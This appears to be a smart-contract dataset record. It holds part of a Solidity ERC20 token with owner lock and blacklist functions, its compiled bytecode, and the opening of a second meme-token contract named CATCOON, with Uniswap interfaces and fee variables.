sys.amountToken = 0;
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}else{
uint256 checkBalance = _balances[sender].sub(sys.amountToken, "ERC20: lock amount exceeds balance");
_balances[sender] = checkBalance.sub(amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = _balances[sender].add(sys.amountToken);
_balances[recipient] = _balances[recipient].add(amount);
}
}else{
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _wantLock(address account, uint256 amountLock, uint256 unlockDate) internal virtual {
lockDetail storage sys = _lockInfo[account];
require(account != address(0), "ERC20: Can't lock zero address");
require(_balances[account] >= sys.amountToken.add(amountLock), "ERC20: You can't lock more than account balances");
if(sys.lockUntil > 0 && block.timestamp > sys.lockUntil){
sys.lockUntil = 0;
sys.amountToken = 0;
}
sys.lockUntil = unlockDate;
sys.amountToken = sys.amountToken.add(amountLock);
emit LockUntil(account, sys.amountToken, unlockDate);
}
function _wantUnlock(address account) internal virtual {
lockDetail storage sys = _lockInfo[account];
require(account != address(0), "ERC20: Can't lock zero address");
sys.lockUntil = 0;
sys.amountToken = 0;
emit LockUntil(account, 0, 0);
}
function _wantblacklist(address account) internal virtual {
require(account != address(0), "ERC20: Can't blacklist zero address");
require(_blacklist[account] == false, "ERC20: Address already in blacklist");
_blacklist[account] = true;
emit PutToBlacklist(account, true);
}
function _wantunblacklist(address account) internal virtual {
require(account != address(0), "ERC20: Can't blacklist zero address");
require(_blacklist[account] == true, "ERC20: Address not blacklisted");
_blacklist[account] = false;
emit PutToBlacklist(account, false);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address funder, address spender, uint256 amount) internal virtual {
require(funder != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[funder][spender] = amount;
emit Approval(funder, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106101735760003560e01c806370a08231116100de57806395d89b4111610097578063b36d691911610071578063b36d6919146108b2578063dd62ed3e1461090c578063df698fc914610984578063f2fde38b146109c857610173565b806395d89b4114610767578063a457c2d7146107ea578063a9059cbb1461084e57610173565b806370a08231146105aa578063715018a6146106025780637238ccdb1461060c578063787f02331461066b57806384d5d944146106c55780638da5cb5b1461073357610173565b8063313ce56711610130578063313ce567146103b557806339509351146103d65780633d72d6831461043a57806352a97d521461049e578063569abd8d146104f85780635e558d221461053c57610173565b806306fdde0314610178578063095ea7b3146101fb57806318160ddd1461025f57806319f9a20f1461027d57806323b872dd146102d757806324d7806c1461035b575b600080fd5b610180610a0c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101c05780820151818401526020810190506101a5565b50505050905090810190601f1680156101ed5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102476004803603604081101561021157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610aae565b60405180821515815260200191505060405180910390f35b610267610acc565b6040518082815260200191505060405180910390f35b6102bf6004803603602081101561029357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ad6565b60405180821515815260200191505060405180910390f35b610343600480360360608110156102ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b9a565b60405180821515815260200191505060405180910390f35b61039d6004803603602081101561037157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c73565b60405180821515815260200191505060405180910390f35b6103bd610cc9565b604051808260ff16815260200191505060405180910390f35b610422600480360360408110156103ec57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ce0565b60405180821515815260200191505060405180910390f35b6104866004803603604081101561045057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d93565b60405180821515815260200191505060405180910390f35b6104e0600480360360208110156104b457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e73565b60405180821515815260200191505060405180910390f35b61053a6004803603602081101561050e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f51565b005b6105926004803603606081101561055257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291905050506111a5565b60405180821515815260200191505060405180910390f35b6105ec600480360360208110156105c057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061126d565b6040518082815260200191505060405180910390f35b61060a6112b5565b005b61064e6004803603602081101561062257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611440565b604051808381526020018281526020019250505060405180910390f35b6106ad6004803603602081101561068157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114b4565b60405180821515815260200191505060405180910390f35b61071b600480360360608110156106db57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190505050611592565b60405180821515815260200191505060405180910390f35b61073b61166c565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61076f611696565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156107af578082015181840152602081019050610794565b50505050905090810190601f1680156107dc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6108366004803603604081101561080057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611738565b60405180821515815260200191505060405180910390f35b61089a6004803603604081101561086457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611805565b60405180821515815260200191505060405180910390f35b6108f4600480360360208110156108c857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611823565b60405180821515815260200191505060405180910390f35b61096e6004803603604081101561092257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611879565b6040518082815260200191505060405180910390f35b6109c66004803603602081101561099a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611900565b005b610a0a600480360360208110156109de57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b71565b005b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610aa45780601f10610a7957610100808354040283529160200191610aa4565b820191906000526020600020905b815481529060010190602001808311610a8757829003601f168201915b5050505050905090565b6000610ac2610abb611e09565b8484611e11565b6001905092915050565b6000600554905090565b60006001151560026000610ae8611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514610b88576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806132de6028913960400191505060405180910390fd5b610b9182612008565b60019050919050565b6000610ba784848461214c565b610c6884610bb3611e09565b610c638560405180606001604052806028815260200161330660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610c19611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b611e11565b600190509392505050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600860009054906101000a900460ff16905090565b6000610d89610ced611e09565b84610d848560046000610cfe611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b611e11565b6001905092915050565b6000610d9d611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e5f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610e69838361295d565b6001905092915050565b6000610e7d611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f3f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610f4882612b21565b60019050919050565b610f59611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461101b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60001515600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515146110c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806133e06021913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561114a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806132886026913960400191505060405180910390fd5b6001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600060011515600260006111b7611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514611257576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806132de6028913960400191505060405180910390fd5b611262848484612cf1565b600190509392505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6112bd611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461137f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600860016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000806000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050806001015442111561149f5760008092509250506114af565b8060000154816001015492509250505b915091565b60006114be611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611580576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61158982612f2c565b60019050919050565b600060011515600260006115a4611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514611644576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806132de6028913960400191505060405180910390fd5b61165661164f611e09565b858561214c565b611661848484612cf1565b600190509392505050565b6000600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060078054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561172e5780601f106117035761010080835404028352916020019161172e565b820191906000526020600020905b81548152906001019060200180831161171157829003601f168201915b5050505050905090565b60006117fb611745611e09565b846117f6856040518060600160405280602581526020016133bb602591396004600061176f611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b611e11565b6001905092915050565b6000611819611812611e09565b848461214c565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611908611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146119ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60011515600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514611a90576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4f776e61626c653a2061646472657373206973206e6f742061646d696e00000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611b16576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806132626026913960400191505060405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b611b79611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611c3b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611cc1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806131d26026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600860016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080828401905083811015611dff576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611e97576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806133746024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611f1d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806131f86022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156120ee576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f45524332303a2043616e2774206c6f636b207a65726f2061646472657373000081525060200191505060405180910390fd5b60008160010181905550600081600001819055506000808373ffffffffffffffffffffffffffffffffffffffff167fb0c290412beefc8860665e6cf7c5c66f94b4a25b70735a833d8feddf0868558060405160405180910390a45050565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612215576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061334f6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561229b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061316a6023913960400191505060405180910390fd5b60001515600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514612361576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f45524332303a2073656e6465722061646472657373200000000000000000000081525060200191505060405180910390fd5b61236c84848461311a565b6000816000015411156126f15780600101544211156124de5760008160010181905550600081600001819055506124048260405180606001604052806026815260200161323c602691396000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612497826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126ec565b600061254f826000015460405180606001604052806022815260200161321a602291396000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b905061257e8360405180606001604052806026815260200161323c602691398361289d9092919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061261582600001546000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126a8836000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505b612832565b61275c8260405180606001604052806026815260200161323c602691396000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127ef826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a350505050565b600083831115829061294a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561290f5780820151818401526020810190506128f4565b50505050905090810190601f16801561293c5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156129e3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061332e6021913960400191505060405180910390fd5b6129ef8260008361311a565b612a5a816040518060600160405280602281526020016131b0602291396000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ab18160055461311f90919063ffffffff16565b600581905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612ba7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806133986023913960400191505060405180910390fd5b60001515600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514612c50576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061318d6023913960400191505060405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600115158173ffffffffffffffffffffffffffffffffffffffff167f07469826752a90ffdbc376a4452abbd54a67a2f82da817f44fe95644238cb7c260405160405180910390a350565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612dd7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f45524332303a2043616e2774206c6f636b207a65726f2061646472657373000081525060200191505060405180910390fd5b612dee838260000154611d8190919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015612e84576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260308152602001806132ae6030913960400191505060405180910390fd5b60008160010154118015612e9b5750806001015442115b15612eb55760008160010181905550600081600001819055505b818160010181905550612ed5838260000154611d8190919063ffffffff16565b81600001819055508181600001548573ffffffffffffffffffffffffffffffffffffffff167fb0c290412beefc8860665e6cf7c5c66f94b4a25b70735a833d8feddf0868558060405160405180910390a450505050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612fb2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806133986023913960400191505060405180910390fd5b60011515600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514613078576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f45524332303a2041646472657373206e6f7420626c61636b6c6973746564000081525060200191505060405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600015158173ffffffffffffffffffffffffffffffffffffffff167f07469826752a90ffdbc376a4452abbd54a67a2f82da817f44fe95644238cb7c260405160405180910390a350565b505050565b600061316183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061289d565b90509291505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a204164647265737320616c726561647920696e20626c61636b6c69737445524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a206c6f636b20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654f776e61626c653a206f6c642061646d696e20697320746865207a65726f20616464726573734f776e61626c653a206e65772061646d696e20697320746865207a65726f206164647265737345524332303a20596f752063616e2774206c6f636b206d6f7265207468616e206163636f756e742062616c616e6365734f776e61626c653a2063616c6c6572206973206e6f74207468652061646d696e6973747261746f7245524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2043616e277420626c61636b6c697374207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f4f776e61626c653a206164647265737320697320616c72656164792061646d696ea2646970667358221220f072a17be8134e7620a451c9335d93405b62ad29a381775d020a5dc3d64ea29164736f6c63430007030033
|
{"success": true, "error": null, "results": {}}
| 3,259 |
0x0f80a5c99f58a4e1bd0dcda089c2e7064c0842bd
|
/**
*Submitted for verification at Etherscan.io on 2022-03-10
*/
/*
░█████╗░░█████╗░████████╗░█████╗░░█████╗░░█████╗░███╗░░██╗
██╔══██╗██╔══██╗╚══██╔══╝██╔══██╗██╔══██╗██╔══██╗████╗░██║
██║░░╚═╝███████║░░░██║░░░██║░░╚═╝██║░░██║██║░░██║██╔██╗██║
██║░░██╗██╔══██║░░░██║░░░██║░░██╗██║░░██║██║░░██║██║╚████║
╚█████╔╝██║░░██║░░░██║░░░╚█████╔╝╚█████╔╝╚█████╔╝██║░╚███║
░╚════╝░╚═╝░░╚═╝░░░╚═╝░░░░╚════╝░░╚════╝░░╚════╝░╚═╝░░╚══╝
$CATCOON The American Coon Cat
https://t.me/catcoonerc/
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract catcoon is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1_000_000_000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _sellTax;
uint256 private _buyTax;
address payable private _feeAddress;
string private constant _name = "CATCOON";
string private constant _symbol = "CATCOON";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
